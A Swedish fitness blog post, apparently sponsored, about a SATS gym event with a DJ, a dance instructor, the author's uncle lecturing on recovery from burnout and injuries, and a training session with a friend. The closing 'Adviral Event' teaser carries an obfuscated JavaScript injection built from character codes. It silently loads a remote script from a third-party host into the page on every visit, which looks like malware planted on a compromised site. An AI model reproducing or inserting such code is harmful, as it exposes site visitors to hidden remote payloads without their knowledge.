En lördag på SATS – Sjukt kul! =)

// R E K L A M //

OLYMPUS DIGITAL CAMERA

 

Hej Fina!

WOW vilken dag! Så många intryck och så mycket ny energi jag fått med mig idag! Just nu sitter jag och Kari (ingift morbror) mitt emot varandra vid köksbordet, med varsin dator. Kvälls jobb. Eventet på SATS har varit otroligt lyckat. Väldigt mycket folk och bra stämning. En DJ spelade fåra morgon till kväll. VILKEN stämnings höjare att ha någon som står mitt inne på gymmet och spelar. Bara där orkar man ju ta i liiite extra 😉

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

OLYMPUS DIGITAL CAMERA

 

Idag gästades vi av en otroligt begåvad kvinna. Dorotka Baburin.

Hon är både instruktör och instruktörsutbildare inom dance. Jag är riktigt HOKKED! 

OLYMPUS DIGITAL CAMERA

 

Kari har skrivit boken Back on track 

OLYMPUS DIGITAL CAMERA

Efter Dorotka så klev min morbror Kari upp och började sin föreläsning. Han fångade publiken direkt.

Det är första gången som jag själv ser honom föreläsa.

Alltså han är ju helt otrolig. Efter alla motgångar, utbränd, överviktig, påkörd av bil, när han cyklade till jobbet.  4 diskbrock, knäskada. Flera tunga motgångar efter varandra.  Man brukar att säga att en katt har nio liv. Jag säger att morbror har nio liv!

Kari är ett levande bevis på att INGENTING är omöjligt. Några ord som jag och många andra tog med oss idag

”Det är aldrig försent att börja, men det är alltid för tidigt att sluta”

 

OLYMPUS DIGITAL CAMERA

Efter föreläsningen så kom min bloggkollega, vän och PT kund Christina Melin.

Idag tränade  jag henne, men jag själv tränade samtidigt. (OBS Rehab, utefter MIN förmåga)  Christina hon suckar, pustar och stönar. MEN hon gör det bra! Hon har tagit ett stort steg framåt. I början så tar det emot. Det kan kännas tungt. Träningsvärken är brutal! MEN man får också väldigt mycket energi. Bättre sömn och i det långa loppet en betydligt bättre         hälsa.

Heja Christina!

OLYMPUS DIGITAL CAMERA

IMG_9383 IMG_9387 FullSizeRender

Nu ska jag umgås med min morbror och lägga bort datorn för kvällen. Hoppas din helg också varit bra!

Puss & Kram / My Martens

2 Komentarer

  1. Hej fina starka du! Läser din blogg regelbundet så nu är det på tiden att jag kommenterar! 1: Du är grym, stark och en bra förebild! 2: HUR gör du dina fina lockar? Får aldrig till dem så där bra:) Kram J

  2. Hej fina starka du! Läser din blogg regelbundet så nu är det på tiden att jag kommenterar! 1: Du är grym, stark och en bra förebild! 2: HUR gör du dina fina lockar? Får aldrig till dem så där bra:) Kram J

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/